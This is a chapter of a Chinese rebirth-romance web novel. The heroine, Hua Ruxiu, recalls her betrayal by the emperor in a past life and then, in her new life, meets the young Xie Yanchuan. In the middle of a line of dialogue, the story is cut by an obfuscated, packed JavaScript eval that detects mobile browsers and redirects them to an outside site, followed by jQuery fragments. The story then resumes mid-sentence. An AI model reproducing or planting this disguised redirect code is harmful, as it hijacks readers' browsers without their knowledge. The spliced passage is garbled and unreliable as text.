5. 第五章

作品:《相逢已是上上签

    第五章


    前世


    秋风萧瑟,偶尔有几只鸟雀掠过巍峨宫墙,拂过一池红蓼芦塘,而后隐入姹紫嫣红的御花园中。


    花如绣疾步走在御花园内用彩色鹅卵石铺就的小径上,却在一株梅树下停了脚步。


    “六郎,我不想再这般遮遮掩掩了。”


    女子柔和而略娇软的声音自假山后传来。


    “郁音,再等等,就快了。”


    听到熟悉的嗓音,花如绣脸色登时惨白,身上不由一僵,居然是萧天凌。


    可他已是九五之尊的皇帝,行事作风又果断无情,他若想纳女子入宫,根本不会有人阻拦,何必在此偷情呢?偷情就算了,为何还要召见自己?


    “爹爹让我问问,六郎许给郁家的后位什么时候兑现?如今朝堂都在弹劾......是不是时机到了?”此时女子的声音有些轻颤。


    萧天凌眸光闪过一丝冷冽,很快恢复平静道:“你知道的,朕在利用她扫清海党,海党不倒,她不能倒。”


    “我也可以。”


    萧天凌有些不耐烦道:“你不怕海贵妃吗?朕不能让你受苦。”


    听到这,花如绣额头直冒细汗,一颗心也泛起了密密麻麻的疼,她扶着树干,小心地吐着气。


    原来一开始就错了,他教她保命手段,教她如何做人,原是为了一己之私,原是为了他的意中人,而非是心悦自己。


    她只是一颗棋子,一颗为了不让他心尖儿上的人受苦的棋子。


    天色渐阴,天空忽起朦胧细雨。


    假山后的两人动了动,透过缝隙,一道淡蓝色裙角拂过花如绣眼角。


    她煎熬难忍,转身回了坤宁宫,以至于忘了出门时的意图。


    回宫后,她辗转反侧,难以入眠。


    在大哥事件后,她和萧天凌即便不能伉俪情深,至少也算共患难的盟友。


    本想着等他气消了,再与他辩明承安门之变的各中细节,好替谢晏川伸冤,结果是自己高看萧天凌了。


    他就是从地狱走出来的恶魔,可恶又危险。


    可承安门之变,谢晏川完全不知情。食君之禄,忠君之事,他是绝不会背叛萧天凌的。


    她被软禁,身边宫娥嬷嬷都换成了萧天凌的人,消息堵塞,她无计可施,难得逃过重重障碍,她却先回来了。


    那时,她为何不直接捉了那对奸夫□□?


    露沾草,风落木,一夜又一夜。


    思虑过重,操劳过度,花如绣终于病倒了。


    迷糊间,她听到汀兰谩骂的声音。


    “娘娘本来好好的,若非你带她出去走了一遭,怎会得病?”


    蒋彩英道:“是娘娘非要见皇上,老奴怎么拦得住?”


    “这个节骨眼,宫里上下谁不知道皇上不见坤宁宫的人,怎么轮到你值白日时,娘娘偏偏就能出宫去了?”


    蒋彩英被怼得心虚道:“谁知道呢。”


    “哼,要是被我知晓你背叛了娘娘,我绝不放过你。”汀兰怒道。


    ……


    当日,蒋彩英告诉她:“皇上在御花园等娘娘。”


    她想也不想,就急匆匆地出宫去,一路上畅通无阻。


    现在细细回想,若非有海贵妃在暗中打点,她绝对跨不出坤宁宫的门槛。蒋彩英早换阵营了。


    不得不说,海贵妃这招杀人诛心着实用得高明。


    前世,萧天凌是她的信仰。她一直认为萧天凌是她黯淡生命中的一束光,照着她前路,不曾想却是一道催命符。


    没有太医,信仰崩塌,她没用地断了生的念想,最后全靠汀兰每天说谢宴川消息才堪堪吊着命。


    她要救谢宴川。


    *


    碧瓦白墙,西侧墙边中了一排竹树,郁郁青青,竹叶上缀满了鸟雀,鸣叫声此起彼伏。


    有几只从花如绣头上飞过,骤起的鸟鸣声打断了花如绣的思绪。


    李管事已经带着一众下人离开了,两位兄长还有客人要陪,有事要忙,也急匆匆走了。


    西花苑终于恢复了安宁祥和。


    三月三,上巳节当日,风和日丽,草长莺飞。


    “姑娘,明日是曹先生的琴课,您还记得之前的琴被太太砸了吗?”


    汀兰看着正在除草的花如绣,有些怔愣。上次被打后,小姐变聪明了,也变豁达了,可这也太无所畏惧了吧?不和公子们一起郊外春游,至少也该出门买把琴吧?不然明日课上无琴,太太又该骂了。


    花如绣轻轻蹙眉,瞧着自己刚好的手,想起那日被打的场景。


    她用的琴是二姐小时练手留下的,有些破,有些劣。可母亲却想让她用最差等的琴,弹奏出高山流水般美妙的曲调。她自然弹不出,便反驳了一句,母亲当即发怒,砸了那把琴不够,还把她的手打开了花。


    前世,也是在今日,也是在汀兰提醒下,她才不情愿地出门买琴。


    路过城南大街时,恰巧碰上文盛斋琴行开张,只要弹一曲,便能带走古琴绿绮。可能运气好,她试了一下,绿绮最后真就被她带走了。


    虽然她对琴不感兴趣,可现下她没多少积蓄,倒是可以再去试试,毕竟绿绮能卖好些钱。


    “汀兰,收拾一下,我们直接去城南的文盛斋琴行。”


    女子的声音如一泓清水,清澈而柔和地响彻庭院。


    “不是身体不适,怎地又能出门买琴了?”


    庑廊下传来少年声音,音色清润纯正,腔调却散漫轻傲。


    花如绣挺直背脊,循声望去。


    葱蔚洇润的石榴树后涌现一片紫色锦缎春袍,衣袍上绣着金百蝶图案,在摇摇晃晃的春光下闪着细细碎碎的金色辉光。


    少年身形欣长挺拔,长腿窄腰,迎着晨光,信步走来。


    直到他踱过石榴树,在花如绣前方半丈(约1.6米)处站定,她才看清他的脸。


    他五官生得极精致,鼻梁高挺,剑眉入鬓,一双眼睛又大又明亮,仿佛含着一层金灿灿的光,垂眸看向自己时,目光又炽烈又坚定。


    山间明月,晴日白雪,这是十六岁的谢宴川,恣意且张扬,率真且坦诚。


    花如绣深吸一口气,努力抑制住心底悄然涌动的情绪,可眼角不禁泛起湿润,如同被春雨打湿的池面,波光粼粼。


    这一世,还是遇上了,比前世早了许多。


    谢宴川唇角微含着一点的笑意霎时消失,慌乱地取出帕子递给她:“哭什么?”


    这么娇气?难道是我之前语气太凶了?


    可前两天偷偷跟在花君飞身后,看到她处理后院之事时可是极干脆利落。


    他再次看向她,目光稍变柔和。


    她没有梳妆,乌黑浓密的发随意挽了一个髻,一袭粉衣白裙,白皙鹅蛋脸上泛着浅浅笑意,注视他时,秀眸潋滟一汪春水。


    灼灼花如绣,只要她往姹紫嫣红的花丛中一站,百花都得失色。


    谢宴川怔神之际,花如绣伸手扬了扬自己的帕子道:“公子,我自己有帕子。”


    话还未落完,谢宴川结结实实地挨了一拳。


    花君飞板着脸,边揍边咬牙切齿道:“谢、宴、川!我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648365|156566||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说你怎么忽然丢了玉佩非得今天来我府上找呢,感情你是专门来欺负我四妹的。”


    被痛地回过神来的谢宴川侧身避开第二拳,怒道:“我什么时候欺负她了?”


    疼还来不及呢。


    他与花君飞相识多年,交情极好,知其有个四妹,虽长得貌美如花,却软弱无能,京中大大小小宴会皆不参加。可他每次来找花君飞切磋武艺,品茶斗诗时都能听到西花苑传出来的琴声。


    琴音由最初的不成曲调,到余音绕梁,三日不绝,可以看出花君飞的四妹颇为努力,也颇为聪慧。


    他对她渐渐好奇,开始暗地打听她的情况。看了打听到的情报后,他才知她自小过得不容易,日日殚精竭虑,回了花府也未得到父母半点疼爱,下人也不尽心。


    当听到花君飞说她身体不适,不去郊游后,他有些慌,怕她在怠慢中会悄无声息地离开,于是在出发前,硬是找了个借口,看上一看。


    他虽自诩人间第一风流,但不是什么花花草草都能看上的好吧?他若真欺负了她,这也得是花府的福气好吧?早知如此,他就该真欺负了去,直接生米煮成熟饭。


    谢宴川捂着火辣辣的半边脸,心中一番腹诽,脚下却不敢停下来,开始飞檐走壁,躲避花君飞的攻击。


    花如绣用帕子揉了揉自己脸,绕过打得水生火热的两人,径直走向屋内,乖乖地关上门。


    她可不关心二人谁能赢,她只怕殃及池鱼。


    屋门“啪”关上,谢宴川忽地回过神,立在门前傲娇喊道:“你去不去踏春?”


    花君飞也在他旁边停了下来,第一次嘲讽道:“都说了四妹不去!还有,普天之下哪有你这般追上门求人去的?简直有辱斯文。”


    谢宴川笑道:“要斯文做甚,我又不是文臣。”


    话毕,他后悔了,忙搂过花君飞肩膀,讨好笑道:“君飞兄,你妹身体好着呢,怎么才能让她出门?”


    以后说不定还是他小舅子了。


    见他变脸比变戏法还快,花君飞沉默。


    屋内的花如绣边听着外头动静,边让汀兰梳妆。


    沉思片刻后,她朝门口软声喊道:“我同你们一道去。”


    屋外两人登时一喜脸一黑脸。喜的是谢宴川,黑的是花君飞,他觉得自己引狼入室了。


    花如绣本不想再牵扯上谢宴川,可前世,到底是她亏欠他许多。


    这一世,她该不该提前告诉他,让他提防新帝萧天凌?


    再过一年,他父亲会“战死沙场”,他姑母会“身染重病”。


    然后他的大哥袭承爵位,却在七年后举兵造反。


    前世事发突然,她只知镇国公府造反,谢宴川亲手擒了他兄长,之后又一口咬定谋逆之罪是他一人所为。她被困在坤宁宫,所知消息皆是萧天凌和海贵妃想让她知道的。


    然而各中内情,她一概不知。她若真单独见了谢宴川,又该怎么说呢?


    镇国公府谢家祖先跟随高祖皇帝南征北战,立下赫赫战功,高祖皇帝待谢家上下也极其优渥,可谓君臣戮力同心。因此谢家后代必须秉承先祖意志,誓死报效朝廷。


    可经历几代皇权更替,谢家家族的权利实在过于强大。为了让先帝安心,谢家与先帝达成契约,谢家女眷不得出京,男眷十岁后也必须留在京城,除了下一代袭爵的世子可以一直留在边疆。


    先帝去世后,萧天凌为永安帝。大家只知其芝兰玉树,却不知其危险狡诈。镇国公府会不会真是他的手笔?


    花如绣眨了眨眼,收回思绪,一时竟觉有几分心乱如麻。